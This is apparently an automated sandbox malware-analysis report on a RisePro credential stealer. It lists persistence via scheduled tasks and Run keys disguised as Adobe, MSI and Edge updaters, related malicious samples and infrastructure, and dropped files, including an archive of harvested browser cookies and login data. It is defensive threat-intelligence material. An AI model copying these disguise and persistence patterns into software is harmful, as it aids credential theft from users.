VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:06:35	API Interceptor	4613655x Sleep call for process: BitLockerToGo.exe modified
14:07:14	API Interceptor	1584534x Sleep call for process: oobeldr.exe modified
20:06:34	Task Scheduler	Run new task: MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR path: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
20:06:35	Task Scheduler	Run new task: MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG path: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
20:06:36	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
20:06:37	Task Scheduler	Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
20:06:44	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
20:06:52	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.186.192	SecuriteInfo.com.Win32.Evo-gen.24318.16217.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	SecuriteInfo.com.Win32.Evo-gen.28489.31883.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	Raptor.HardwareService.Setup 1.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	w.sh	Get hash	malicious	Xmrig	Browse	/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	uUsgzQ3DoW.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
	8BZBgbeCcz.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
185.172.128.136	e68e3ea4b274b483bb4a6d826ff8f70fb1142d0d04749.exe	Get hash	malicious	RedLine	Browse
172.67.75.166	http://lio7.pages.dev/appeal_case_ID/	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	RisePro Stealer	Browse
	file.exe	Get hash	malicious	RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	RisePro Stealer	Browse
	SecuriteInfo.com.Trojan.PWS.RisePro.145.11601.4956.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
	SecuriteInfo.com.Trojan.PWS.RisePro.145.16896.10789.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
	9VELQr2nLi.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
	file.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse
	Wa3Ffvjksl.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	file.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	SecuriteInfo.com.Win32.PWSX-gen.6599.4105.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	ansrnotificacaonova.msi	Get hash	malicious	Unknown	Browse	34.117.186.192
	7uQQ6rKGkN.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	ERsg2wzaD4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	LametaSetup.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	LametaSetup.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	Ty2131Dlzn.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
db-ip.com	SecuriteInfo.com.Win32.PWSX-gen.6599.4105.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	http://lio7.pages.dev/appeal_case_ID/	Get hash	malicious	Unknown	Browse	104.26.5.15
	7uQQ6rKGkN.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	file.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	file.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	172.67.75.166
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	104.26.4.15
	file.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NADYMSS-ASRU	Icnf16xPb9.exe	Get hash	malicious	RedLine	Browse	185.172.128.33
	1.exe	Get hash	malicious	PureLog Stealer	Browse	185.172.128.159
	6tJtH22I7a.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc	Browse	185.172.128.19
	hCXC8cWYim.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90
	SecuriteInfo.com.W32.Kryptik.HCOV.tr.31080.6167.exe	Get hash	malicious	GCleaner, Nymaim	Browse	185.172.128.90
	SecuriteInfo.com.Variant.Zusy.548069.18278.10195.exe	Get hash	malicious	GCleaner, Nymaim	Browse	185.172.128.90
	file.exe	Get hash	malicious	GCleaner, Nymaim	Browse	185.172.128.90
	tTcrJ0HtoJ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.170
	fdOerxdL1v.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.170
	l2XteV3M4u.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.170
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	https://link.mail.beehiiv.com/ss/c/u001.CEz1YkosQOgW_2I8tJTUL2rOicXJM7RxHjhrRWDeG5g4TuF3JnRWze3ceZ9WwqET/46i/a2N64yc5RA-IsZ3qpS7tjQ/h6/h001.j_JgYHgZoY9wighPNvNrp_oY-YX91EMEgYGT_rGLcUU	Get hash	malicious	Unknown	Browse	34.117.162.98
	file.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	http://sallywilliamson.com	Get hash	malicious	Unknown	Browse	34.117.77.79
	SecuriteInfo.com.Win32.PWSX-gen.6599.4105.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	http://kocin-logixnlkcz.godaddysites.com/	Get hash	malicious	Unknown	Browse	34.117.239.71
	http://lasvocaux.wixsite.com/vocaleacceil	Get hash	malicious	Unknown	Browse	34.117.60.144
	41q1oGpbEVt.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	https://flow.page/wadobedocs	Get hash	malicious	Unknown	Browse	34.66.73.214
	ansrnotificacaonova.msi	Get hash	malicious	Unknown	Browse	34.117.186.192
	7uQQ6rKGkN.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
NADYMSS-ASRU	Icnf16xPb9.exe	Get hash	malicious	RedLine	Browse	185.172.128.33
	1.exe	Get hash	malicious	PureLog Stealer	Browse	185.172.128.159
	6tJtH22I7a.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc	Browse	185.172.128.19
	hCXC8cWYim.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90
	SecuriteInfo.com.W32.Kryptik.HCOV.tr.31080.6167.exe	Get hash	malicious	GCleaner, Nymaim	Browse	185.172.128.90
	SecuriteInfo.com.Variant.Zusy.548069.18278.10195.exe	Get hash	malicious	GCleaner, Nymaim	Browse	185.172.128.90
	file.exe	Get hash	malicious	GCleaner, Nymaim	Browse	185.172.128.90
	tTcrJ0HtoJ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.170
	fdOerxdL1v.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.170
	l2XteV3M4u.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.170
CLOUDFLARENETUS	http://alladvcdn.com	Get hash	malicious	Unknown	Browse	104.18.29.31
	Airbornemx SWIFT COPY _ Wednesday May 2024..rtf	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	http://curve-amm.com	Get hash	malicious	Unknown	Browse	172.67.201.165
	https://theambrose.surveysparrow.com/s/The-Ambrose-Group/tt-JE6PR	Get hash	malicious	Unknown	Browse	104.16.117.116
	Draft BL copy.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://skyasldights.ru.net/x4bQcxNS/index.html	Get hash	malicious	Unknown	Browse	104.17.2.184
	https://app.frame.io/presentations/52095d75-78f4-40d2-8ecd-505b67097ee1?component_clicked=digest_call_to_action&email_id=1d128434-b5ec-4195-8c8c-860eac345853&email_type=pending-reviewer-invite	Get hash	malicious	Unknown	Browse	162.159.61.3
	5302c416b0abd845fe3145f910e82440588c11219940fe89fd68722260a9b508_payload.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://link.mail.beehiiv.com/ss/c/u001.CEz1YkosQOgW_2I8tJTUL2rOicXJM7RxHjhrRWDeG5g4TuF3JnRWze3ceZ9WwqET/46i/a2N64yc5RA-IsZ3qpS7tjQ/h6/h001.j_JgYHgZoY9wighPNvNrp_oY-YX91EMEgYGT_rGLcUU	Get hash	malicious	Unknown	Browse	104.16.117.116
	https://oknya83345.eleteriod.com/infd201971/#YWhlaW5tYWFAY2lkZWwuY29t	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	22-May-24-document-137bcf45.xll	Get hash	malicious	Unknown	Browse	34.117.186.192 172.67.75.166
	22-May-24-document-137bcf45.xll	Get hash	malicious	Unknown	Browse	34.117.186.192 172.67.75.166
	https://forfbidrecrossboot.pages.dev/503.js	Get hash	malicious	Unknown	Browse	34.117.186.192 172.67.75.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.186.192 172.67.75.166
	11650000000026213681.exe	Get hash	malicious	DBatLoader	Browse	34.117.186.192 172.67.75.166
	GF87654456789900..DOC.exe	Get hash	malicious	Remcos, DBatLoader	Browse	34.117.186.192 172.67.75.166
	11650000000026213681.exe	Get hash	malicious	DBatLoader	Browse	34.117.186.192 172.67.75.166
	ZAMOWIEN.EXE.exe	Get hash	malicious	AgentTesla, DBatLoader	Browse	34.117.186.192 172.67.75.166
	1.exe	Get hash	malicious	Mimic	Browse	34.117.186.192 172.67.75.166
	ORDEN_NR2405073.exe	Get hash	malicious	DBatLoader	Browse	34.117.186.192 172.67.75.166

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse

Created / dropped Files

C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\l2[1].exe

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Temp\9VicU2EcsIoeWuNiSqblWRg.zip

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	676063
Entropy (8bit):	7.997969839607457
Encrypted:	true
SSDEEP:	12288:qG1/xPCsyqa34R/qJPKxikYOYVG9cwxCedRdhuUbMgwZMigdy:d1JPLjWvVG9cwEeXzMgcsQ
MD5:	B23104BE7B93EA72BB81704EE77B6E0B
SHA1:	2396DE83B6C00FEF4DC8E723E481808ED47E10FA
SHA-256:	A2F7B95DA90EA6F0BB4BF0F52F56323B6AC9399250C713859DC8536C9DF50186
SHA-512:	E7B8EAAD98AFE11A768C3EC92DB8C9E50D3C02B1DCB3AB4EE567CF5A124582E64A2973D0759B512A11ED54066B4E3D35714775B2C88FFBED2DBFB35A55230C19
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\9VicU2EcsIoeWuNiSqblWRg.zip, Author: Joe Security
Preview:	PK.........p.X................Cookies\..PK.........p.XA.`%............Cookies\Chrome_Default.txt....@.........i.&h.Cn..L...\.FA@.~..v7..O...%!es.f..../S..a...@.,ek.%.H......</<2..,...I..w......1q.f.F+PiM.=h.5..2....0....O..u_.~}Z.UM........y...Rj..4H..D...xLY@....[.d.c&......G_............j%q%....Y.\|.....P...u..u..85/..Z`...-..c...^A8n...Y.3......j.G!....c.....AM@!._W.yQbs.@.....h.y.-......\|J..i...r....c....M...E...GS...C....X..C.U..v.%......C,.L0,......5.=....6.....PK.........p.X./.Ag...........information.txt}XmS.6.........L...,..T...].2.@............v.....d.0......d.o."....{..s]...p...$......q.(E....R.(..7N...T.'C.+..\.4..G...i6....2..<..;.......q<.$M..(5.)............;.1..<.Z.1.X$..3..t..TFD..9I..!...n.2.O..q.\|..N.:..z...f.F.lT.1..g:P[........u4.!.w.\B\|..;Z.!....I..+.Z.5U.}.M.8.;$.:..........P..(.....t6..}UO..g.7.....tp.i."/..p.........@..I...V....^.7....d...(..@.7..?.]~.M..`...@).z]@./U..h..*.@%_._.r.I.v.`t..}V.s.T......"....... ..\fzu.>

C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\AUbJyYTe1V8SLogin Data

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
